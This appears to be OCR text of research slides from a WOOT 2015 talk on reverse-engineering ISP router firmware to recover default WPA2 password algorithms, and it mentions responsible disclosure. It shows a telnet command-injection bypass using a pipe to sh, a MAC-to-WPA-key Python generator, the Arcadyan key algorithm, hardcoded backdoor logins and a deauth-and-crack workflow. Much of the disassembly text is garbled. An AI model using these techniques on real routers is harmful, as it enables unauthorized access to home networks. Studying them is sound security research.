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Who we are

% Eduardo Novella

MSc at The Kerckhoffs Institute (Radboud Nijmegen)
Security Analyst at Riscure (Delft)
Focused on embedded security (PayTV industry)

Blog: http://www.ednolo.alumnos.upv.es

Delft (NL) & San Francisco (USA)
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Roel Verdult Carlo Meijer
e RFID hacking e MSc student at the
o libNFC developer Kerckhoffs Institute
e Attacking wireless e Future PhD at
crypto-protocols: Radboud
* Mifare e New Mifare attack
e iClass
e Hitag2
e Megamos Crypto
o Atmel CryptoMemory
)
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Introduction

Discontinued due to high risk of abuse.
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Introduction

Motivation (2)

@ Seems to be a pattern

® Has anyone looked into Dutch routers?
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Introduction

Motivation (3)
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Introduction

What this talk is about

@ Basic hardware hacking

® Propose a methodology to reverse-engineer routers

© Find out WPA2 password generating algorithms used by ISPs
O Responsible disclosure procedure with Dutch ISPs and NCSC

“https://www.ncsc.nl/english
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Methodology

Obtaining the firmware

Available options

@ Available for download

® Exploiting a known vulnerability
©® Debug interfaces: UART and JTAG
O Desoldering the flash chip
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Methodology

OS Command injection

Connected to 192.168.1.1.

Escape character is '"]'.

BCM96368 Broadband Router

Login: user

Password:

> ping 2=/dev/null &% sh

Warning: operator & is not supported!
> ping 2=/dev/null ; sh

Warning: operator ; is not supported!
= ping 2>/dev/null | sh

> ping 2=>/dev/null | ps w | grep telnet

20035 - COr 5000 S telnetd -m @
20036 - COr 5004 S telnetd -m @
20120 - 2C0r 1532 S sh -c ping 2=/dev/null | ps w | grep telnet
20123 - CBr 1532 5 grep telnet

dev/null | cat /proc/20836/fd/0@ | sh

Kernel IP routing table

Destination Gateway Genmask Flags Metric Ref Use Iface
96.1 0.0.0.0 255.255.255.255 UH 0 0 0 pppl.2
238.4 10.80.0.1 255.255.255.252 UG 0 0 0 ptmd.1
4.56 16.80.0.1 255.255.255.252 UG <] <] 0 ptm@.1
5.160 16.144.8.1 255.255.255.240 UG <] <] 6 ptmd.3
5.176 10.144.0.1 255.255.255.240 UG 0 0 0 ptmd.3
5.144 10.144.0.1 255.255.255.240 UG 0 0 0 ptmd.3
5.192 16.144.08.1 255.255.255.240 UG <] <] 0 ptm@.3
1.0 0.0.0.0 255.255.255. 0 u 0 0 0 brE)

n g

oo o o000 op
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Methodology

UART'ing a device
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Methodology

UART'ing a device (2)

@ Depends on bootloader capabilities
® Typically does not allow backups
©® May allow unsigned code execution
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Methodology

JTAG'ing a MIPS SoC

PN,
6‘
“erres

S

Mma

- > ~ IS -
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Methodology

% JTAG'ing a MIPS SoC (2)

@ Read supported flash chips directly
® Unsupported?

@ Identify block device |1/0 functions
@® Pull the image from RAM
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Methodology

iS7¢  Dumping the Flash
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Methodology

- % Decompressing / deobfuscating

Compression
® Binwalk
® Gzip / LZMA
® SquashFS
Obfuscation
@ Similar finding

® Reverse engineer the bootloader
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Methodology

Finding the algorithm

"I
la $al, 0x10000
move  $al, §s1
jalr $19 stropy
addiu $al, (82345678%abcodef - I 0000) | " 23456 7EPABCDEF GHIKLMNPORS T 23662
b $gp, =1 00+var FO($sp)
mave  $al, §s52

la $al, 0x10000

la $19, stropy

b loc ED4C

addiu $al, (@xcdynjufiveabl- 01000000 # 0 M JUBYZ ABKLAGPO7 RS I T2E SHIMPGRWR"

Figure: Character set reference

@ ESSID pattern: <ISP Name> + 7 digits — <ISP Name>},07
® Character set

© Factory reset code
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Methodology

% Analyzing

Emulation
@ Try different inputs

o Wifi Mac (upper/lower, w,w/o *:?)
e Ethernet Mac
e S/N
® QEMU: tiny .c mmaps image, jump
Issues:
@ |Initialization skipped
E.g. sprintf
e Hook and replace

E.g. Unmapped regions
e mmap, fill with sensible data
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Scrutinizing WPA2 Algorithms in Wireless Routers



Methodology

Reverse engineering

Slow

boring
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Methodology

ntication & Deauthentication

Computer C Router R | Computer C | \ Adversary A | Router R

Authentication challenge C Encrypted chnlcallon

Authentication challenge R, response C Deauthentication notification

Authentication response R
Authentcaton Acknowledge [Dethenticte] »
Authentication challenge C

Authenticated Authenticated Authentication challenge R, response C
Encrypted communication

Authentication response R

; ; Authentication Acknowledge
Authenticated Authenticated
Encrypted communication

Figure: WPA2 4-way handshake
authentication

Figure: WPA2 deauthentication
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Methodology

Attacking

Suppose ~ 100.000 candidates

@ Deauth — auth handshake
® Crack offline
©® Less than 1 minute

Need 1 client connected
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Findings & Vulnerabilities

% Comtrend: Findings

® UART — Tiny OpenWRT
@ Dump FW
@® Enable telnetd

® OS command injection in telnetd — root

©® Backdoors found in all routers

O Stack buffer overflow in HTTP server — ROP
® WPA2 password generating algorithms

Novella, Meijer, Verdult USENIX WOOT 2015 Scrutinizing WPA2 Algorithms in Wireless Routers



Findings & Vulnerabilities

Comtrend: Backdoors and super-admin

® Firmware dumped via i ——
1w $s3, (glbAccessMode - 8x1888CA18) ($vB)

serial console UART be 55 o o e
® Credentials are -5

la $a1, 8x550008
(dword_180128D0 - 0x10012848) (§s2)

hardcoded o g e
addiu 4a1, (allser - 93550000 m

¥

e Cannot be changed by A
o' Sgp. 0xad+var_30(§sp)
customer 2
e Cannot be changed by TRET—
. la 9, stremp
ISP without fw update [ R I:]
. zgdiu 31, (:Zflskyuh - 0x550000) |1 “AFIGKyuE!
e Plaintext, not hashed 1o 3o ovineear 308

If (this user) then
"admin |mode"

los_dcEaa:
$s3, $ve, loc_4EE500
lz $t9, m_burn

. 6550000
. strenp
, {dword_100128D0 - 0x10012848) {552} # s1

: strenp
. (andnin - 0550000) i “adnin®

Scrutlnlzmg WPA2 Algorithms in Wireless Routers
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Findings & Vulnerabilities

Comtrend: Command Injection in telnet service

® Telnet command sanitization

L]
;“ = a0, 0x550800 L] Checks for ,&’
a €9, puts

jalr t3 : puts 1
addiu a0, (aWarningOperato - 0x550000) | # “Warning: operator & is not supported!”| | o Checks for )

1w gg, gxlniﬂwavinﬂ(SSp) .
nove  $ab. Ssi
e o e Does not check for ’|
la al, 8x550000
1a t3, strncpy .
jalr t3 ; stracpy —
addiu a1, (dword_549C84 - 08x550000) StIII vulnerable
1w gp. OxB8+uar_n8($sp)
i

Y]

loc_a5E6D8:

la $t9, strchr H LYy

E A -4 What about pipe "|" 7

jalr  6t9 : strchr N

5" & e And quotes "7 ?

nove  $s0, $uo

beqz $ loc_asE71c

1w $gp, 0xBB+var_As ($sp)

L]

Y
la $aB, 0x550080
1a &t9, puts
jalr $t9
addiu  $as, (aWarningOpera 0 - B8x550000) | “Warning: operator ; is not supported?”
1w Sgp. ©xB8tvar_a8{$sp)
nove  $ao. $so
1i $a2, 2
la $al, 9x550000
1a $t9, strncpy

jalr $t9 ; strncpy
addiu  $al, (dword_549084 - 9x550900)
1w $gp, 0xB8+var_n8{$sp)

Meijer, Verdult USENIX WOOT 2 Scrutinizing WPA2 Algorithms in Wireless Routers



Findings & Vulnerabi

Comtrend: How to obtain WPA keys?

L ]
e =
la a1, 0x550000
la 3, strcaseemp
move a0, $s8 =1
jalr 9 ; strcasecmp
addiu  Sal. (aVersion - 8x550080) I “version”
1w gp, OxB8+var_AB{Ssp)
beqz v, loc_45E7ER
la ta, _zN1iclishellcndi7processVersioncndEPe  # clishellcnd: :processversioncnd (char x)
h
FIZIE]
la $al, Bx5568000
la $t9, strcasecnp
nove 5a8, $s0 s f
jalr  §t9 ; strcasecmp Comma_nds in the
rlnidiu gat {awd nn(g : constrained shell
w gp. BxBB+uar | Sp N
beqz  SvB, loc_45E7EQ via telnet
la $t9, _zNT1c1ishellcmd23pr d &t clishellcnd: : processshowHDSWPAkeyGnd {char =)
=
la $al, 0x550000
la $t9, strcasecmp
move  Sad, 5s8 # st
jalr $t9 : strcasecmp
addiu  Sal, (aVdsl - 8x550880) 1 “vdsl”
1w $gp. OxB8+var_ng(5sp)
beqz $ve, loc_45E7E8
la §t9, _zN11Clishellcnd22processShowdDSLInfoCndEPe 1l CliShellCnd: :processShowVDSLInfoCnd {char =)

Novella, Meijer, Verdult
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Findings & Vulnerabilities

Comtrend: How to obtain WPA keys?

nmve a1, peeru "L
1w gp. 0x50+var_40{5sp)
la al, 0xbhoooe
la al, 0x540008
la t9. fopen
addiu ad, (aMdSsumVarMdSent+8x18 - Bx55 3y
jalr t9 ; fopen
addiu al, (aGmt@88aMdSsunVarMdSen:. ascii ['mdSsum fvar/mdSencode > fvar/mdSresult™<@.
1w gp, Ox58+va # DATA XREF: WlMngr::getfarDefault{char
move s, $vB
nove aB, $s1 s
la t9, memset
nove al, Szero te
beqz vA, loc_d45CA3C
1i a2, 0x21 #n
M
jalr $t9 : menset
nop
1w gp, Bx50+var_48{$sp)
nove ap, $s1 s
li al, @zD #n
la t9, fgets
jalr t9 ; fgets
nove a2, $s8 i stream
1w gp, Bx58+var_48 {5sp)
nove a2, %si
la vB, stdout
la al, 0x550000
la t9, fprintf
1w af, ({stdout - Bx180189CC) ﬁvﬂl I stream
jalr t3 ; fprintf
addiu al, {aWpakeyS - 0x550000) | I “wpakey:%s'\n
1w gp. Ox50+var_48{$sp)
T

Novella, Meijer, Verdult
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Findings & Vulnerabilities

Comtrend: How to obtain WPA keys?

W al, Bx2DB+var_2C0(Ssp)

addiu al, {aTceolmet2rendd - Bx5508008) 1 “tceolmet2rendB02x402:%02:%802:%502:502 %"
move al, §s2 s

sw vB, Bx2DB+var_2C8 ($sp)

jalr t9 ; sprintf

sw s5, Bx2D8+var_2BE(5s

v don. oscbssear smoiees) Seed + WAN MAC address + LAN MAC address
nove a2, $s2

move al, Ss@ s

la al, 06x550000

la t9, sprintf

jalr t9 ; sprintf

addiu a1, (aEchoNSVarMd5en - 8x558888) i “echo -n %s > [var/mdSencode”

1w gp. Bx2D8+var_2B0 ($sp)

nove al, Ss@

la t9, bcmSystenEx

jalr t9 : bcnSystemEx

li al, 1

1w gp. Bx2DB+var_2B8 ($sp)

move a3, Ss@ . .

la y R plaintext ciphertext
addiu a2, Sv@, (aMds VarMd5en - 8 ) ¥ "mdS5sum {var}md5encode > Jvar{mdSresult”
addiu td, %a2, {aMdSsumVarMdSen+Bx20 - 0x553938)

loc_49CECC:
1w Sva, 0(%a2)
1w vl 4{%a2)
1w Sal, 8(%az)
1w $al. 0xC{%a2)
addiu $a2, @x18

sH $vo, 0{%a3)
sH vl 4{%a3)
sw Sal, 8(%a3)
sH Sal, 0xC{%a3)

USENIX WOOT 2015
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Findings & Vulnerabilities

Comtrend: How to obtain WPA keys?

|addiu a3, 8x1@ I
h

FIZE]
1w vl, 6{%az2})
lhu aB, 4{$az2})
1bu ve, G6{%az2)
la t9, bcmSystemEx
su vl, 6{%a3)
sh ap, 4{$a3s})
sh ve, G{%a3})
move a8, §s0 What about patching the|FW
jalr t9 ; bcm3ystemEx . .
1i at, 1 image with
Lu ap, Ux208+var 280 (jsp) Is /var/md5encode ??
nove a@, S$s@ T
la v1. Bx550008
la t9, bcnSystemEx
addiu ve, Sv1, {(aRmVarMdSencode - ©@x5500008) # “rn /var/ndSencode”
1hu a3, {(aRmVarMdSencode+8x10 - 8x553960) (Sv0)
1w al, {aRmVarMdSencode+d - 8x553968) (Svo)
1w a2, (aRmVarMdSencode+8 - Bx553968) ($v0)
1w v1, {aAmVarMdSencode - Bx550000) {$v1} # “rn fvar/ndSencode”
1w vB, {aRmVarMdSencode+8xC - @x553960) (Sva)
sw al, Bx2D8+var 24C({5sp)

Novella, Meijer, Verdult USENIX WOOT 20 Scrutinizing WPA2 Algorithms in Wireless Routers



Findings & Vulnerabilities

Comtrend: How to obtain WPA keys?

> Frame 4226: 518 bytes on wire (4144 bits), 518 bytes captured
M D5( > Radiotap Header vO, Length 14
v IEEE 802.11 QoS Data, Flags: .p.....T
ConSta nt Seed Type/Subtype: QoS Data (0x0028)
' > Frame Control Field: oxgsal

.000 0000 OOOO 0000 = Duration: O microseconds
| h dd Recelver address: 00:1a:2b: (00:1a:2b: )
owercase ethernet mac address, e e . :
.- Transmitter address: ( )
uppercase wifi mac address S s ‘ )
(Cestination address: 38:72:c0: ) (38:72:c0:
Fragment number: O
Sequence number: 823
> Qos Control: Ox0000

> Data (470 bytes) .

802.11 headers hold mac addresses in plaintext

o Capturing a single raw packet is sufficient
e Allows instant computation of passphrase

Novella, Meijer, Verdult USENIX WOOT 2015 Scrutinizing WPA2 Algorithms in Wireless Routers



Findings & Vulnerabilities

Comtrend: Biggest ISP in Spain, 2010

L
Lon:
L

0008ECSD

11 “Could not open

# DATA

REF: sub_1368C+BCTo

Lon:
Lond

Lon:

Lono
Loa

o0BsECEE
9008ECGE

o068ECAS

b EchoNsuartigse:

te o

¢ DATA

u oA

L
LoaD

Lop: oo
LoD : 000

Loa

Lonp: 060

Loa

LOAD: 0908EDOD

Loa

LOAD: 0068EDGC.

Lond

Loa
LonD: 0008E:

Loa

Lon:

Lon
Loap
Lono
Loap
Loa
Loa
Loa
L

£0008ED60

008ECDS

 on

RREF: sub_13080+408T0

. 0, 0
cii “echo -n %s > /var/ndSencede" <>

REF: cub_1368C+56
Th SREF: Sub_1368C

ot

uLdNotRea

CouldNotopen

0068EDAN
0008EDAC

BECFT [oVarHdSresult:

_byte o

>
¢ DATA

lascii "/var/ndSresultTs> ¥ 0
W sub

byte o
ascii e

-ha

not read rvar

as
T

008EDSE
Jazztel

half o

n fvar

221EL_$02X%02X"C0> 1t DATA KREF: Sub

var, s
RREF: sub_13080+648T0

ATA XREF: sub_12680+69¢T0

1368c+72810

resuitcs
ub_1368¢+700T0

X
oid “Could not open /uar/ndsresult e

REF: sub_12686+7ECT0

# DATA NREF: sub,

9008ED60
9068071
0O0SED74 aWLD_guestD:
9008ED81

£0008EDE! aWID_D:

yte 0, 0. 0

40_Guestaa<o

# oar

# DATA

A KREF: sub_1968C+ACHTo

REF: sub_1
returns e

Figure: Same algorithm, different secret

seed

USENIX WOOT 20

ssh 1234@192.168.1.1
ur host 10’ 168.1.1 (19’ 16"3 1.1)' can't b
49:5e:1f
tlﬂu“ cnnnﬂctlng (ypsmw y
man@ntlv added '192.168.1.1' (RSA) to the list o
1.1's password

2an up 2 min,
ad average: 1 min:0
shared
13684 [

0
13684

v1.006 (2069.07.09-10:31+0606) Built-in shell (msh)
for a list of built-in commands.

own

hosts.

buffers

Figure: They forgot to remove the

plaintext!

Wireless Routers
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Findings & Vulnerabilities

Comtrend: Stack buffer overflow

@ RCE over http

® Attacker advantages
@ Telnet inaccessible from WAN
® Browsers refuse to talk telnet

© Trick browser exploit
@ Widespread abuse

Figure: Buffer overflow vulnerability
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Findings & Vulnerabilities

Sitecom

S %
g E

o
K i

&
S
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Findings & Vulnerabilities

Sitecom: Previous Findings

Italian researchers released the following problems:*

® Sitecom WLM-3500 backdoor accounts

® WLM-3500 and WLM-5500 — Wireless keys
©® Firmware obfuscation — XOR encryption

O WLR-4000 and WLR-4004 — Wireless keys

© Several web flaws

'http://blog.emaze.net
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Findings & Vulnerabilities

% Sitecom: Our findings

® WLR-2100 and WLR-2500 — New algorithm

® WLR-XXXX and WLM-XXXX — Confirm all affected
© WL-XXX — New algorithm

® Around 90% are affected — Only MAC is needed :(

Novella, Meijer, Verdult USENIX WOOT 2015 Scrutinizing WPA2 Algorithms in Wireless Routers



Findings & Vulnerabilities

% Sitecom: WLR-2X00

We emulated an stripped MIPS binary:

$ chroot . ./gemu-mips-static bin/AutoWPA 000cf6ec73a0 wpamac
flash set WLAN-WPA-PSK NUWFBAYQJNXH

flash set USER-PASSWORD NUWFBAYQJNXH

flash set WEP128-KEY1-1 4e555746424159514a4e584800

M D5(MAC add reSS) converting to charset (A-Z)

Novella, Meijer, Verdult USENIX WOOT 2015 Scrutinizing WPA2 Algorithms in Wireless Routers 35/ 57



Findings & Vulnerabilities

Sitecom: WLR-2X00

peld
()e Y
"cn'e"'

Mme <«

re
sys
hashlib

charset * ABCDEFGHJKLMNPQRSTUVIWNXYZ '

def gener‘atekey(maglc nr):
key
i-o
(i<12):
key charset[magic_nr#24]
magic_nr 24
i 1

key

def main():

(len(sys.argv)!-2):
sys.exit('[!] Enter MAC as argument\n\n\tUsage: python %s @@@cfeec73a@’ %(sys.argv[@]))

mac - re.sub(r*["a-fA-F@-9]°, '', sys.argv[1])
len(mac) 12:
sys.exit('[!] Check MAC format!")

md5 - hashlib.md5()
md5.update(sys.argv[1])

key - generateKey(int(md5.hexdigest()[-16:],16))

"MAC %s™ (mac)
“"WLAN WPA_PSK s (key)
"USER_PASSWORD : %s™

B

,,,,,,,, LI

Nre

an .
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Findings & Vulnerabilities

Sitecom: WPA generation

RG]
globl _new_generateWPAZPSKbyMac

|__new_generate\WPAIPSKbyMac

¥ ¥
"] "]
o $a, 0x10000
move $a0, §s1 loc_ED28
gl 319 sticpy la ~ $al, 0x10000
acdiu $al, (a23456789ab colef - 0x1 0000) 23456785 ABCDEF GHKLMNFORS TUVWA 23882 move $a0, §s1
lw  $gp, Dl D0+var_F(Ssp) sl 519 <ticpy
move $a0, $52 addiu $al, (a0123456789ab_3 - 0:10000) | 0123456785 ABCOEFGHUKLMNOPORSTUVW:A /2"
la s, 0x10000 lw  $gp, D 00+var_FO($sp)
la 319, <ticpy move $a0, $52
b loc EDAC la s, 0x10000
acdiu_$al, (aWxedynjuByzaiak - 01 0000 # “XCOYN JUBVZABKLASPOT RS9 T2ESHIMFGRWRD o 319, Sy
ddiu_$a1, W01 CDYNJUBY OZAIBKLASPOTREI T2ESHISMF G
o FPAC

Figure: Old-New algorithm. Around 40 models are affected

ijer, Verdult USENIX WOOT 20



Findings & Vulnerabilities

Sitecom: WPS generation

FEHE]

. globl sys¥lanGen¥plsPinCodeByMac
syswl anGenWpsPinCodeByMac :

1i ap.

addu gp, $ta

addiu sp, -0x20

su ra, 0x20+var_a{$sp)

su s0, 0x20+var_8($sp)

su ap, 0x20+var_10{$sp)
1bu v, 3(Sal

1bu v, 4{$al)

1bu a0, 5({$a0)

s11 v, 8

addu vl, $ve

s11 vl, 8

1ui vo, 0x98

addu w1, Sa8

1i v0, 0x989680 <~
bnez v, loc_FBCC [ 2%710000000
divu v, Svb

break  0x1c88

A 1
ol i =
Toc_roce:
la $t9. ComputeChecksum
nthi  $s8
jalr  $t3 ; Computechecksum
move  3ad, §s0
T T
nult $s0, §v1
it $ra, 0x28+var_4($sp)
1w $gp, Bx28+var_18(5sp)

Novella, Meijer, Verdult USENIX WOOT 20 Scrutinizing WPA2 Algorithms in Wireless Routers



Findings & Vulnerabilities

Figure: Generating ESSIDs from the SN
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Thomsom

W Svl, Dx7B+var_40{5sp)

lu Svd, (dword_S8BD3AG48 - 0x88D3A634) (Sv1)
W Svld, Bx7B+var_3C({5sp)

1w $vd, (dword B8OD3n644 - Bx88D3A634) (Sv1)
W Svl, Bx7B+var_38({5sp)

lui Sva,

addiu  Sv1, Sv8, (aThom d87d - 8x80D48088) | ## "Thom D¥A7d"
1w Sv@, aThom_de7d i “"Thom DE¥o7d"

W Svd, Ox7B+var_30(5sp)

1w Sva, (aThom da7d+4 - 0x88D3a648) (Sv

W Svl, Bx7B+var 2C{Ssp) l
1w Svd, (aThom da7d+8 - 0x808D34648) (Sv

W Svl, Dx7B+var_28{5%sp)

lui Sva,

addiu  Svi1, $vA, (aThom_gb7d - 8x88D48068) | #f "Thom G¥a7d"”
1w Sve, aThom_g87d i "Thom c¥ord”

W Sva, Bx7e+var_20({Ssp)

1w Svd, (aThom g@7d+4 - 0x8OD34654) (Svl1)
W Svl, Bx7B+var_1C{%sp)

1w Svd, (aThom_g@7d+8 - 0xBOD3AE54) (Sv1)
W Svd, Ox7o+var_18(5sp)

jal sub_805468C4

nove Sal, Ssp

bnez 551, loc_8B545EE8

1i Svl,
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PaN,

oe\ V¢

6V"c:re‘L
=2

b4

 jumpranie svsac

Figure: Generating PSKs from the SN
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Thomsom in The Netherlands

gau
addiu  $a0, $sp, 0xaorvar 28
i 1

sprintf
Salega0sd # "%88d"|

ro
sp, 0xa04var_28

ESSID%08d
[ i =
loc_80546620:
iu a2, $s0, §vi1
I ith addu v, s(g, Sl
1b 0, 0($ve)
a gorlt m addiu :1, SVI:’ 1
addiu  $ve. $v1. 8
s1ti V1, 231, H
novz  $ve. Sat, Gv
sra vo, 3 WPR
s11 vo, 3 F
subu  Sve, gzl, ganhc rset
addu  $ve, 3te, Svep\_
1b 8, 0($v0) A
nul a0, vl
R 1 3
public R
N sra Vi, 3
hidden sra 3o, $a0, 31
b 1, Svo
ESSID ErR R o
addu v8, vl
s11 vo, 2
addu vo, $ul
s11 vo, 1
subu a0, vl
addiu  $an,
sb a0, 0 ($a2)
s1ti v, $al, 8
bnez  $vo. loc 8esacs20
nave v, $a
=

v

Y
_ | [ ]
- 1947 19edAE" addu 4vo, $s0, $ail
- Bx80D3AGEA) ($vo) 1 9a719edaE”[ |sh $zero, 0{5v8)
3 - 0xBOD3AGEA) ($v0)

Figure: We fully reverse-engineered the algorithm used in Holland
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Thomsom in more countries

FEE

_generator:

var_10= -8x10

var_C= -6xC

addiu  $sp, -Bx28

su Sra, Ox20+var_C{§sp}

sw §s8, Bx20+var_10{5sp)

nove §s0, $a1

jal generateHash_

nove: Sa1, $sp R

nove a2, $zero compiler
1i $a3. optimizations

—————————'5 _ Divisible by 5,10
Pl

cutdown_hash_to_26_digits:

addu $al, §so, a2
addu 38, Ssp, $a2

1bu $a0. 0(5ve)
nultu  $a0, $a3

nfhi  Su1

srl $vl, 3

s11 §v0, $v1, 2
addu  §v0. Sv1

s11 fve, 1

subu  §a0, Su0

addiu  Sa0. R
addiu  $a2

slti vl $a2, 14
bnez $ve. cutdown_hash_to_26_digi ts|

sb $a0, 6(%al)
T
P
== ]
addu $ve, §se, a2
b $zero, 6{§v0)
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Thomsom in more countries

generateHash_

-0xan
-0x28
-0x20
-x1C
-ox18
-0x14
-0x10

addiu  §sp. -0x60

Sw ra. 0x60+var_10(§sp)
su 53, 0x60+var_1a(3sp)
sw $s2, 0x6B+var_18($sp)
sw §s1, oxs0+var_1G($sp)
su 50, Dx60+var_20(§sp)
nove 452, $an
jal sub_891AF1AC
nove §s3, a1
beqz $ve, loc_805462C4
it $ra, 0x6D+var_10($sp)

y

il sl =

jal junp_to_ra_exit

move Gal, Svo

addiu §s1, $sp, ox60+var_28

nove §am, $s1

jal something_very_used_3

nove §a1, fva

jal load_store_specific_byte

move  $am, $s1

addiu  $s8, $sp, Ox60+var_as

move: $as,

jal stropy

nove $a1, Svo

nove  $am, $s2

jal sub_89546420

nove

nove YIS

la Ism, a Glts 1 0) &xguit¥s”| I

jal SRLintd

nove $a2, $s0

move: $al, $s2

nove  Sal, Ssp

jal D5

ial i, rpsgiS( model + symbols +||SN )

jal sub_89951C60

move: $al, §s1

it $ra, 0a60+var_10($sp)

Novella, Meijer, Verdult USENIX WOOT 20 Scrutinizing WPA2 Algorithms in Wireless Routers 44 /



Findings & Vulnerabilities

Thomsom in more countries

ijer, Verdult

lgenerateHash_

sp, oxan

ra, Oxao+var_a($sp)
sw 2, 0xag+var 8 (§sp)
sw 1, 0xag+var_c(§sp)
sw 0, 0xag+var 16 (§sp)
move  $s1. $an
jal sesorial_nunber?
move  §s2. %a
nove a0, $vo
jal unction_very_used
1i al,
addiu 50, $sp, Gxavsvar_1g
move a0, §s0
jal unction_very_used 2
hove  Sa1, uo
hove a0, §so

addiu  $a1, §sp. oxavevar_20

USENIX WOOT 201

addiu  §t0, §sp. Bxad+var 1D

laddiu $sp, Oxag+v;

jal tore_6_bytes_from_a0_to_al

laddiu §sp. Oxaitvar_1

Tbu Gxairvar_20 ($5p)

1bu 0xa0+var_1F (3sp)

1bu 0xa0+var_1E(3sp)

Ibu 0xa+var_ 1D(§sp)

1bu Bxa0+var_1c($sp)

1bu . 8x48+var_1B{5sp)

nove . $sp

lui , 0x80D4

jal rintf

la 02x02 %02 x:%02x: ¥02x:%02 x: §02x: %02’
jal D5 md5( model+ISP+ Serial Number )
nove . §s2

jal nullsub_a7

move  $an, $si

v $ra, Dxdgrvar_a($sp)

i $s2, 0xdstvar_8($sp)
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Thomsom in more countries

M

_generator:

var_18= -0x10

var_¢= -0xC

addiu  §sp. -0x20

sw Sra, Bx28+var_C($sp)
sw $s0, 0x26+var_10($sp)
nove §s0, $al

jal generateHash_

nove al, §sp

move §a2, Szero

addu__ Sve, $sp, a2

¢

FEIE

loc_80546448:
1bu w0, 0{$v0)
ve, 4

a8, $az2, 1
al, §s0

v1, Sve, 18
al, $vo, "0
ve, 7
w1,

vB, Sal, Svi1
ve, 0($a0)
ve, $sp. $az
ve, 0{$v8)
ve, Oxi

ab, §a2, 1
a8, §s0

an,

w1, $v0, Oz
a1, $ve, Bx30
R

v,

vl, 0

ve, $al, jv1
w8, 0{$aB)
a2,

v, §a2, 5
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Thomsom in more countries

==

generateHash_

var_21
var_1

1, $an
se_serial_nunber?
<2, $at

a0, Su0
unction_very_used
at, |

§sp, Oxab+var_1s

la a1, a o2x0 U S 02x:%02x:%02x:%02x: %02x: 502"

jal 05’ md5( model+ISP+  Serial Number )

ijer, Verdult USENIX WOOT 20
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Arcadyan update log

PN,
)
“erres

S

##! 1 [E-BOOTPARAM-WRITE] User settings are not stored!
###[BUILD-WEP] (Z1 72 73): %IX%1X%1X

##[BUILD-WEP] (x[1] XOR z[2])=(%1X XOR %1X)=%1X
##[BUILD-WEP] (y[2] XOR y[3]) =(%1X XOR %1X)=%1X
#[BUILD-WEP] (x[3] XOR y[1]) =(%1X XOR %1X)=%1X
#4##[BUILD-WEP] (x[2] XOR z[3]) =(%1X XOR ¥1X
####[BUILD-WEP] (w[@] w[1] w[2] w[3]): BIXEIXHIXEIX

HFEEE GG DI XE LG IXEIXEIXHIXBIXB1X%1X# [ BUILD-WEP] 1 Key:%s

####[BUILD-WEP] K1,2: [%1X,%1X]

#[BUILD-WEP] (K1 XOR 51@) 1X XOR %1X)=%1X

#[BUILD-WEP] (K1 XOR S9) 1X XOR %1X)=%1X

#[BUILD-WEP] (K1 XOR S8) =(%1X XOR %1X)=%1X

#[BUILD-WEP] (X1 X2 X3): %1X%IX%1X

##[BUILD-WEP] (K2 XOR M10)=(%1X XOR %1X)=%1X

#[BUILD-WEP] (K2 XOR M11) 1X XOR #%1X)=%1X

#[BUILD-WEP] (K2 XOR M12)=(%1X XOR %1X)=%1X

#[BUILD-WEP] (Y1 Y2 ¥3): %1X%IX%1X

##[BUTLD-WEP] (M11 XOR S18)=(%1X XOR %1X)=%1X

####Boot Parameters NOT found !!!

##Bootcode version: %s

###Serial number: %s

##Hardware version: %s

H#HAAO2XHO2XHO2XHO2X%O2X5%0 2X#HH## st riflanMacAddr: %s

HWLANE CHcRcR R koH# [ BUILD-WEP] 56,7,8,9,10: [X1X,%1X,%1X, %1X, %1X]

##[BUILD-WEP] M7,8,9,18,11,12: [%1X, ¥1X, %1X, %1%, ¥1X,%1X]

#H# Invalid vlr‘eless char\nel range %d ~ pd

#1 Use default value %d ~ %d

#idefault route: %d.%d.%d.%d

#ifno:%d enable0S:%d enableWEP:%d enableSSN:%d

#!!No configuration file present!!

##!1Cleanup configuration in flash memory!!

##%s> flash version:[%s], [%d.%d.%d]

#etcpip_init_config##lan 18 2008#16:39:45####Set flash memory layout to #BRN-BOOT#
##01234567#### [BUILD-WEP] (M12 XOR S9)
####[BUILD-WEP] (K1 XOR K2) =(%1X XOR ¥
#### 1TE-CFG-VERT Reconfiguration reauired!!
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Arcadyan. WPA key generation

We broke this just bruteforcing similar Arcadyan algorithms 2

Require: s6,s7,s8, 59,510, m9, m10, m11, m12 € [0, .., F]
k1 < (s7 + s8 + mll + m12) & (OxF)
k2 < (m9 + m10 + s9 + s10) & (OxF)
x1 + k1 & s10
x2 < k1@ s9
x3 < k1 s8
yl <+ k2@ ml0
y2 +— k2 d mll
y3 «— k2d ml2
z1 < mll @ s10
z2 <+ ml2 & s9
z3 < k1@ k2
wl < s6
w2 < k1@ z3
w3+ k2@ z3
return [x1,y1,z1, wl, x2,y2,z2, w2, x3,y3, z3, w3]

https://www.seguridadwireless.net
*https://sviehb.wordpress.com
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Findings & Vulnerabilities

ADB / Pirell

ARAN,
N
Y
“erres

y_from_mac

Figure: Call flow from generateKey
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ADB / Pirell

ndm_loadConfig

LOAD:000D4TCE: .word createWFAPassphraseFromkey wi¥riteMdmDefault

Figure: Call flow for createWPAPassphraseFromKey
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ADB / Pirel

la al, ssid
la v0, createSSIDFronMac
nove 19, $v
jalr t9 ; createSSIDFronHAC
nop
L gp. OxCo+var_BO{$fp)
li v, T
sw ve, BxCs+var_90{$fp)
Li ve, 0xB
sw ve, OxC8+var_90($fp)
addiu ve, 5fp, Bxc8+var_90
la aB, key
nove al. $vl
La a2, ALaip)
la vh, 0xA0000
la Sve, generateKey
move $t9. Sve
jalr $t9 : generateKey
3
1w gp. 0xCa+var_Bo($fp)
la ve, 0xA0000
addiu 3@, $v0, (aGeneratekey - 0xzA0ABB) I “generateKey”
la ve, puts
move t9. 5ve
jalr 9 : puts
nop
1w gp. 0xCa+var_Bo($fp)
1w v, OxCs+var_30($fp)
la a0, passphrase
la al, key
la vB, createWPAPassphraseFronKey
nove ta, $vo
jalr t9 : createWwPaPassphraseFronkey
1w gp, OxC8+var_Be($fp)
la vB, 0xAB860
addiu  $vB. (aPassphraseSIdx - BxA8008) 1 “PassPhrase=%s . idx=%d\n"
nove an, $vd
la al, passphrase
Tuw a2 AvrR+arn afé&fnd

Figure: Dissasembly of wiWriteMdmDefault
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ADB / Pirell

an s o e uryepy
la $v0, SHA256_Init
move  $t9, $ve
jalr $t9 ; SHA256_Init
nop
lw $gp. 0x28+var_c{5fp)

$aB, 0x28+var_10($f)

ret seed located

li a2, Bu20 1 0xd29e0 with 32
la 2ve, SHazs6_update PYtes (0x20)
move  $t9, $ve
nop
1w gp. Ox28+var_C(5fp)
1w aB, 0x28+arg_C(5fp)
la v, strlen
move t9, $vo
